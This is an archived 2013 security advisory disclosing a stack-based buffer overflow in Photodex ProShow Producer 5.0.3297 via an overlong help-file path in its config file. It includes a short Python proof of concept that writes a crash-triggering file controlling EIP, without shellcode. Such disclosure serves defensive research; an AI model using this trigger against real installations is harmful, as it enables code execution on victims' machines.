Photodex ProShow Producers 5.0.3297 Buffer Overflow

2013-01-26T00:00:00
ID PACKETSTORM:119860
Type packetstorm
Reporter Julien Ahrens
Modified 2013-01-26T00:00:00

Description

                                        
                                            `Inshell Security Advisory  
http://www.inshell.net  
  
  
1. ADVISORY INFORMATION  
-----------------------  
Product: Photodex ProShow Producer  
Vendor URL: www.photodex.com  
Type: Stack-based Buffer Overflow [CWE-121]  
Date found: 2013-01-26  
Date published: 2013-01-26  
CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)  
CVE: -  
  
  
2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
Photodex ProShow Producer v5.0.3297, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
A stack-based buffer overflow vulnerability has been identified in  
Photodex ProShow Producer v5.0.3297.  
  
When opening the application help via the menu, the application loads  
the location of the help file from the file "proshow.cfg". If the file  
"proshow.phd" also exists, the values are crosschecked.  
  
The ExpandMacroFilename function does not properly validate the length  
of the string loaded from the "cpicHelpFile" identifier from the config  
file before using it in the further application context, which leads to  
a stack-based buffer overflow condition.  
  
Vulnerable function definition:  
int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size)  
  
An attacker needs to force the victim to place an arbitrary  
"proshow.cfg" and/or "proshow.phd" file into the application directory  
to execute arbitrary code.  
  
  
5. PROOF-OF-CONCEPT (Code / Exploit)  
------------------------------------  
The following generated string has to be inserted into the proshow.cfg  
and/or proshow.phd to trigger the vulnerability.  
  
#!/usr/bin/python  
file="poc.txt"  
  
junk1="\x41" * 238  
eip="\x42" * 4  
junk2="\xCC" * 100  
  
poc=junk1 + eip + junk2  
  
try:  
print ("[*] Creating exploit file...\n");  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print ("[*] File successfully created!");  
except:  
print ("[!] Error while creating file!");  
  
  
For further Screenshots and/or PoCs visit:  
http://security.inshell.net/advisory/45  
  
  
6. SOLUTION  
-----------  
None  
  
  
7. REPORT TIMELINE  
------------------  
2013-01-26: Discovery of the vulnerability  
2013-01-26: Full Disclosure because the vendor ignored previous reports.  
  
  
8. REFERENCES  
-------------  
http://security.inshell.net/advisory/45  
`